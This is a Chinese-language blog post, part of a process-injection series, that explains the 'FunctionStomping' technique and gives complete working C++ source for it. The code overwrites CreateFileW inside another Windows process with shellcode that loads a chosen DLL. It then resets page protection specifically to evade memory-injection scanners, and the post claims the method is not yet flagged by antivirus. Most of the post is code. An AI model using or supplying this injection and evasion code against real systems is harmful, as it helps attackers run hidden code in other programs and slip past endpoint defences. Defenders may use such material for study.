进程注入之FunctionStomping

admin 2022年4月16日01:21:32进程注入之FunctionStomping已关闭评论44 views字数 13105阅读43分41秒阅读模式

本篇文章为进程注入系列的第八篇文章,同样是在process-inject项目的基础上进行进一步的扩展延伸,进而掌握进程注入的各种方式,本系列预计至少会有10篇文章,涉及7种进程注入方式及一些发散扩展,原项目地址:https://github.com/suvllian/process-inject

所有项目代码均已同步到https://github.com/Gality369/Process-Injection,欢迎师傅们提Issue~

前言

FunctionStomping技术是这几天国外大佬发布的全新的shellcode注入技术
最大优点在于他没有覆写一整个module或pe文件,且目标进程仍然可以使用目标模块的任何其他函数
缺点在于并不能适用于所有函数, 但是大多数函数都可以使用这种手法

原理

FunctionStomping技术通过将某个函数“掏空”(例如kernel32中的createFile) ,并替换为shellcode,当目标进程调用该函数时就会触发shellcode, 这种手法不需要开辟内存, 同时也不需要创建进程, 相对来说动静比较小, 目前还未被杀软标记(如果用的cs或msf的shellcode有可能被标记)

分析

shellcode编写

shellcode部分参考之前的教程, 由于之前的教程中,shellcode都是要返回到之前的指令地址,而这里我们可以直接模拟createFile的异常返回即可,观察下createFile的调用,直接将eax/rax用全1填充,模拟createFileW返回INVALID_HANDLE_VALUE,使得程序不会崩溃,这里可以具体查看官方文档:

RETURN VALUE
IF THE FUNCTION SUCCEEDS, THE RETURN VALUE IS AN OPEN HANDLE TO THE SPECIFIED FILE, DEVICE, NAMED PIPE, OR MAIL SLOT.
IF THE FUNCTION FAILS, THE RETURN VALUE IS INVALID_HANDLE_VALUE. TO GET EXTENDED ERROR INFORMATION, CALL GETLASTERROR.

注意,这里的处理,如果不做最后这步处理的话,当目标程序调用CreateFile时确实会执行shellcode,但是程序会因为异常退出,而这里加上一步返回值的处理,程序只会报错,但是不会直接崩溃

```C++

ifdef _WIN64

BYTE code[] = {
0x48, 0x83, 0xEC, 0x28,             //sub         rsp,28h
0x48, 0x89, 0x44, 0x24, 0x18,       //mov         qword ptr [rsp+18h],rax       
0x48, 0x89, 0x4C, 0x24, 0x10,       //mov         qword ptr [rsp+10h],rcx 
0x48, 0xB9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,  //mov         rcx,1111111111111111h 
0x48, 0xB8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,  //mov         rax,2222222222222222h
0xFF, 0xD0,                         //call        rax
0x48, 0x8B, 0x4C, 0x24, 0x10,       //mov         rcx,qword ptr [rsp+10h]
0x48, 0x8B, 0x44, 0x24, 0x18,       //mov         rax,qword ptr [rsp+18h]
0x48, 0x83, 0xC4, 0x28,             //add         rsp,28h
0x48, 0x83, 0xEC, 0x08,             //sub         rsp,8
0xC7, 0x04, 0x24, 0xff, 0xff, 0xff, 0xff,  //mov         dword ptr [rsp],ffffffffh
0xC7, 0x44, 0x24, 0x04, 0xff, 0xff, 0xff, 0xff, //mov dword ptr [rsp + 4], ffffffffh
0x58,                               //pop rax
0xC3                                //ret
};

else

BYTE code[] = {
0x60,                          //pushad
0x68, 0x11, 0x11, 0x11, 0x11,  //push 11111111h
0xb8, 0x22, 0x22, 0x22, 0x22,  //mov eax, 22222222h
0xff, 0xd0,                    //call eax
0x61,                          //popad
0x0d, 0xff, 0xff, 0xff, 0xff,  //or eax, ffffffffh
0xc3                           //ret
};

endif // _WIN64

```

然后就是申请空间存放dll的地址和修补shellcode:

```C++
//patch the shellcode
//申请空间
LPVOID RemoteDllPath = VirtualAllocEx(TargetProcessHandle, NULL, strlen(DllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE);
//write
if (!WriteProcessMemory(TargetProcessHandle, RemoteDllPath, DllFullPath, strlen(DllFullPath) + 1, NULL)) {
VirtualFreeEx(TargetProcessHandle, RemoteDllPath, strlen(DllFullPath) + 1, MEM_DECOMMIT);
return false;
}
BYTE* loadLibraryAddress = GetFunctionBase(TargetProcessHandle, L"Kernel32.dll", "LoadLibraryA");

ifdef _WIN64

* reinterpret_cast<PVOID*>(code + 0x10) = static_cast<void*>(RemoteDllPath);
//修补LoadLibrary的地址
*reinterpret_cast<PVOID*>(code + 0x1a) = static_cast<void*>(loadLibraryAddress);
//修补返回地址,为当前停止的地址的低32位
//*reinterpret_cast<unsigned int*>(code + 0x39) = ctx.Rip & 0xFFFFFFFF;
////修补返回地址,为当前停止的地址的高32位
//*reinterpret_cast<unsigned int*>(code + 0x41) = ctx.Rip >> 32;

else

//根据地址,修补我们的代码
//修补dll的地址,我们把dll地址复制到RemoteDllPath的位置
* reinterpret_cast<PVOID*>(code + 2) = static_cast<void*>(RemoteDllPath);
//修补LoadLibrary的地址
*reinterpret_cast<PVOID*>(code + 7) = static_cast<void*>(loadLibraryAddress);

endif // _WIN64

```

这里其实最完美的处理是直接将dll地址硬编码在shellcode中而不用申请空间,这样就可以实现整个过程中都不出现申请空间的操作,但这里只是给一个demo,且实际应用中这里大概率会直接给shellcode,所以就偷个懒直接用之前的代码了。

获取指定函数的地址

以上就是shellcode部分的处理,接着,还有个问题就是获取函数地址,先上代码:

```C++
// Based on: https://github.com/countercept/ModuleStomping/blob/master/injectionUtils/utils.cpp
BYTE GetFunctionBase(HANDLE TargetProcessHandle, const wchar_t moduleName, const char functionName) {
BOOL res;
DWORD moduleListSize;
BYTE
functionBase = NULL;

//Getting the size to allocate
res = EnumProcessModules(TargetProcessHandle, NULL, 0, &moduleListSize);

if (!res) {
    cerr << "[-] Failed to get buffer size for EnumProcessModules: " << GetLastError() << endl;
    return functionBase;
}

// Getting the module list.
HMODULE* moduleList = (HMODULE*)malloc(moduleListSize);

if (moduleList == 0) {
    return functionBase;
}
memset(moduleList, 0, moduleListSize);

res = EnumProcessModules(TargetProcessHandle, moduleList, moduleListSize, &moduleListSize);

if (!res) {
    // Retry this one more time.
    res = EnumProcessModules(TargetProcessHandle, moduleList, moduleListSize, &moduleListSize);

    if (!res) {
        cerr << "[-] Failed to EnumProcessModules: " << GetLastError() << endl;
        free(moduleList);
        return functionBase;
    }
}

// Iterating the modules of the process.
for (HMODULE* modulePtr = &moduleList[0]; modulePtr < &moduleList[moduleListSize / sizeof(HMODULE)]; modulePtr++) {
    HMODULE currentModule = *modulePtr;
    wchar_t currentModuleName[MAX_PATH];
    memset(currentModuleName, 0, MAX_PATH);

    // Getting the module name.
    if (GetModuleFileNameEx(TargetProcessHandle, currentModule, currentModuleName, MAX_PATH - sizeof(wchar_t)) == 0) {
        cerr << "[-] Failed to get module name: " << GetLastError() << endl;
        continue;
    }

    // Checking if it is the module we seek.
    if (StrStrI(currentModuleName, moduleName) != NULL) {

        functionBase = (BYTE*)GetProcAddress(currentModule, functionName);
        break;
    }
}

free(moduleList);
return functionBase;

}
```

由于是获取别的进程的模块,且有可能是非系统模块,所以这里要遍历所有目标进程的所有模块并找到指定模块中的指定函数的地址,就比找自己的要麻烦一些,其原理如下:

EnumProcessModules
检索指定进程中每个模块的句柄

```
BOOL EnumProcessModules(
[in] HANDLE hProcess, //进程句柄
[out] HMODULE *lphModule, //一个用户接受模块句柄的数组
[in] DWORD cb, //数组的大小
[out] LPDWORD lpcbNeeded //存储所有模块句柄数组中的句柄所需要的空间
);

Return Value
成功则返回非零值
```

这个函数在使用时,首先先将lphModule设置为空并将cb设置为0,仅传入lpcbNeeded,可以获取到所需空间的大小,然后根据该大小开辟空间并再次调用,就可以获取到模块句柄的数组了,由于有可能会失败,所以设置了重试一次来减少误报。

接着就是遍历数组中的所有句柄,然后通过GetModuleFileNameEx这个API获取模块名称

GetModuleFileNameEx
//检索包含指定模块的文件的绝对路径
DWORD GetModuleFileNameExA(
[in] HANDLE hProcess, //包含模块的进程句柄
[in, optional] HMODULE hModule, //模块的句柄
[out] LPSTR lpFilename, //一个用于接收模块绝对地址的缓冲区指针
[in] DWORD nSize //lpFilename的大小
);

获取到后跟我们指定的模块比较,如果一样则利用GetProcAddress获取到函数的地址

掏空函数

这里其实就比较简单了,唯一要说的点在于,原本加载的kernel32.dll是一个只读权限,如果我们想修改的话,需要先修改该页的权限为RW,才能往里面写入我们的shellcode,而修改页权限用的是VirtualProtectEx这个API

```
VirtualProtectEx
BOOL VirtualProtectEx(
[in] HANDLE hProcess, //目标进程句柄
[in] LPVOID lpAddress, //指向要修改权限的页的基地址的指针
[in] SIZE_T dwSize, //要修改的大小
[in] DWORD flNewProtect, //修改后的权限
[out] PDWORD lpflOldProtect //指向变量的指针,该变量在指定的页面区域中接收前一页的访问保护权限
);

```

具体使用的代码如下:

```C++
// Changing the protection to READWRITE to write the shellcode.
if (!VirtualProtectEx(TargetProcessHandle, functionBase, sizeToWrite, PAGE_EXECUTE_READWRITE, &oldPermissions)) {
cerr << "[-] Failed to change protection: " << GetLastError() << endl;
CloseHandle(TargetProcessHandle);
return -1;
}
cout << "[+] Changed protection to RW to write the shellcode." << endl;

SIZE_T written;

// Writing the shellcode to the remote process.
if (!WriteProcessMemory(TargetProcessHandle, functionBase, code, sizeof(code), &written)) {
    cerr << "[-] Failed to overwrite function: " << GetLastError() << endl;
    VirtualProtectEx(TargetProcessHandle, functionBase, sizeToWrite, oldPermissions, &oldPermissions);
    CloseHandle(TargetProcessHandle);
    return -1;
}

cout << "[+] Successfuly stomped the function!" << endl;

// Changing the protection to WCX to evade injection scanners like Malfind: https://www.cyberark.com/resources/threat-research-blog/masking-malicious-memory-artifacts-part-iii-bypassing-defensive-scanners.
if (!VirtualProtectEx(TargetProcessHandle, functionBase, sizeToWrite, PAGE_EXECUTE_WRITECOPY, &oldPermissions)) {
    cerr << "[-] Failed to change protection: " << GetLastError() << endl;
    CloseHandle(TargetProcessHandle);
    return -1;
}

cout << "[+] Changed protection to WCX to run the shellcode!\n[+] Shellcode successfuly injected!" << endl;

CloseHandle(TargetProcessHandle);
return TRUE;

```

最终代码及效果

```C++
// FunctionStomping.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

include

include

include

include

using namespace std;

pragma comment(lib, "Shlwapi.lib")

BYTE GetFunctionBase(HANDLE TargetProcessHandle, const wchar_t moduleName, const char functionName);
BOOL InjectDll(ULONG32 ulTargetProcessID, CHAR
DllFullPath) {

ifdef _WIN64

BYTE code[] = {
0x48, 0x83, 0xEC, 0x28,             //sub         rsp,28h
0x48, 0x89, 0x44, 0x24, 0x18,       //mov         qword ptr [rsp+18h],rax       
0x48, 0x89, 0x4C, 0x24, 0x10,       //mov         qword ptr [rsp+10h],rcx 
0x48, 0xB9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,  //mov         rcx,1111111111111111h 
0x48, 0xB8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,  //mov         rax,2222222222222222h
0xFF, 0xD0,                         //call        rax
0x48, 0x8B, 0x4C, 0x24, 0x10,       //mov         rcx,qword ptr [rsp+10h]
0x48, 0x8B, 0x44, 0x24, 0x18,       //mov         rax,qword ptr [rsp+18h]
0x48, 0x83, 0xC4, 0x28,             //add         rsp,28h
0x48, 0x83, 0xEC, 0x08,             //sub         rsp,8
0xC7, 0x04, 0x24, 0xff, 0xff, 0xff, 0xff,  //mov         dword ptr [rsp],ffffffffh
0xC7, 0x44, 0x24, 0x04, 0xff, 0xff, 0xff, 0xff, //mov dword ptr [rsp + 4], ffffffffh
0x58,                               //pop rax
0xC3                                //ret
};

else

BYTE code[] = {
0x60,                          //pushad
0x68, 0x11, 0x11, 0x11, 0x11,  //push 11111111h
0xb8, 0x22, 0x22, 0x22, 0x22,  //mov eax, 22222222h
0xff, 0xd0,                    //call eax
0x61,                          //popad
0x0d, 0xff, 0xff, 0xff, 0xff,  //or eax, ffffffffh
0xc3                           //ret
};

endif // _WIN64

DWORD oldPermissions;

//Gets the process handle for the target process
HANDLE TargetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ulTargetProcessID);
if (OpenProcess == NULL)
{
    cout << "[-] Could not find process" << endl;
}
cout << "[+] Got process handle!" << endl;

// Getting the remote module base.
BYTE* functionBase = GetFunctionBase(TargetProcessHandle, L"Kernel32.dll", "CreateFileW");

if (!functionBase) {
    DWORD lastError = GetLastError();

    if (lastError == 126) {
        cerr << "[-] The function name is misspelled or the function is unstompable." << endl;
    }
    else {
        cerr << "[-] Could not get function pointer: " << lastError << endl;
    }
    CloseHandle(TargetProcessHandle);
    return -1;
}

cout << "[+] Got function base!" << endl;

// Verifying that the shellcode isn't too big.
SIZE_T sizeToWrite = sizeof(code);
BYTE* oldFunction;

if (!ReadProcessMemory(TargetProcessHandle, functionBase, &oldFunction, sizeToWrite, NULL)) {
    cerr << "[-] Shellcode is too big!" << endl;
    CloseHandle(TargetProcessHandle);
    return -1;
}

//patch the shellcode
//申请空间
LPVOID RemoteDllPath = VirtualAllocEx(TargetProcessHandle, NULL, strlen(DllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE);
//write
if (!WriteProcessMemory(TargetProcessHandle, RemoteDllPath, DllFullPath, strlen(DllFullPath) + 1, NULL)) {
    VirtualFreeEx(TargetProcessHandle, RemoteDllPath, strlen(DllFullPath) + 1, MEM_DECOMMIT);
    return false;
}
BYTE* loadLibraryAddress = GetFunctionBase(TargetProcessHandle, L"Kernel32.dll", "LoadLibraryA");

ifdef _WIN64

* reinterpret_cast<PVOID*>(code + 0x10) = static_cast<void*>(RemoteDllPath);
//修补LoadLibrary的地址
*reinterpret_cast<PVOID*>(code + 0x1a) = static_cast<void*>(loadLibraryAddress);
//修补返回地址,为当前停止的地址的低32位
//*reinterpret_cast<unsigned int*>(code + 0x39) = ctx.Rip & 0xFFFFFFFF;
////修补返回地址,为当前停止的地址的高32位
//*reinterpret_cast<unsigned int*>(code + 0x41) = ctx.Rip >> 32;

else

//根据地址,修补我们的代码
//修补dll的地址,我们把dll地址复制到RemoteDllPath的位置
* reinterpret_cast<PVOID*>(code + 2) = static_cast<void*>(RemoteDllPath);
//修补LoadLibrary的地址
*reinterpret_cast<PVOID*>(code + 7) = static_cast<void*>(loadLibraryAddress);

endif // _WIN64

// Changing the protection to READWRITE to write the shellcode.
if (!VirtualProtectEx(TargetProcessHandle, functionBase, sizeToWrite, PAGE_EXECUTE_READWRITE, &oldPermissions)) {
    cerr << "[-] Failed to change protection: " << GetLastError() << endl;
    CloseHandle(TargetProcessHandle);
    return -1;
}
cout << "[+] Changed protection to RW to write the shellcode." << endl;

SIZE_T written;

// Writing the shellcode to the remote process.
if (!WriteProcessMemory(TargetProcessHandle, functionBase, code, sizeof(code), &written)) {
    cerr << "[-] Failed to overwrite function: " << GetLastError() << endl;
    VirtualProtectEx(TargetProcessHandle, functionBase, sizeToWrite, oldPermissions, &oldPermissions);
    CloseHandle(TargetProcessHandle);
    return -1;
}

cout << "[+] Successfuly stomped the function!" << endl;

// Changing the protection to WCX to evade injection scanners like Malfind: https://www.cyberark.com/resources/threat-research-blog/masking-malicious-memory-artifacts-part-iii-bypassing-defensive-scanners.
if (!VirtualProtectEx(TargetProcessHandle, functionBase, sizeToWrite, PAGE_EXECUTE_WRITECOPY, &oldPermissions)) {
    cerr << "[-] Failed to change protection: " << GetLastError() << endl;
    CloseHandle(TargetProcessHandle);
    return -1;
}

cout << "[+] Changed protection to WCX to run the shellcode!\n[+] Shellcode successfuly injected!" << endl;

CloseHandle(TargetProcessHandle);
return TRUE;

}

// Based on: https://github.com/countercept/ModuleStomping/blob/master/injectionUtils/utils.cpp
BYTE GetFunctionBase(HANDLE TargetProcessHandle, const wchar_t moduleName, const char functionName) {
BOOL res;
DWORD moduleListSize;
BYTE
functionBase = NULL;

//Getting the size to allocate
res = EnumProcessModules(TargetProcessHandle, NULL, 0, &moduleListSize);

if (!res) {
    cerr << "[-] Failed to get buffer size for EnumProcessModules: " << GetLastError() << endl;
    return functionBase;
}

// Getting the module list.
HMODULE* moduleList = (HMODULE*)malloc(moduleListSize);

if (moduleList == 0) {
    return functionBase;
}
memset(moduleList, 0, moduleListSize);

res = EnumProcessModules(TargetProcessHandle, moduleList, moduleListSize, &moduleListSize);

if (!res) {
    // Retry this one more time.
    res = EnumProcessModules(TargetProcessHandle, moduleList, moduleListSize, &moduleListSize);

    if (!res) {
        cerr << "[-] Failed to EnumProcessModules: " << GetLastError() << endl;
        free(moduleList);
        return functionBase;
    }
}

// Iterating the modules of the process.
for (HMODULE* modulePtr = &moduleList[0]; modulePtr < &moduleList[moduleListSize / sizeof(HMODULE)]; modulePtr++) {
    HMODULE currentModule = *modulePtr;
    wchar_t currentModuleName[MAX_PATH];
    memset(currentModuleName, 0, MAX_PATH);

    // Getting the module name.
    if (GetModuleFileNameEx(TargetProcessHandle, currentModule, currentModuleName, MAX_PATH - sizeof(wchar_t)) == 0) {
        cerr << "[-] Failed to get module name: " << GetLastError() << endl;
        continue;
    }

    // Checking if it is the module we seek.
    if (StrStrI(currentModuleName, moduleName) != NULL) {

        functionBase = (BYTE*)GetProcAddress(currentModule, functionName);
        break;
    }
}

free(moduleList);
return functionBase;

}

int main()
{
ULONG32 ulProcessID = 0;
cout << "Input the Process ID:" << endl;
cin >> ulProcessID;
CHAR DllFullPath[MAX_PATH] = { 0 };

ifndef _WIN64

strcpy_s(DllFullPath, "D:\\project\\TestDll\\Release\\TestDll.dll");

else // _WIN64

strcpy_s(DllFullPath, "D:\\project\\TestDll\\x64\\Release\\TestDll.dll");

endif

//注入
if (!InjectDll(ulProcessID, DllFullPath)) {
    printf("Failed to inject DLL");
    return FALSE;
}
return 0;

}
```

经测试,修改后的shellcode,不会使目标程序崩溃

进程注入之FunctionStomping

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月16日01:21:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   进程注入之FunctionStompinghttps://cn-sec.com/archives/917029.html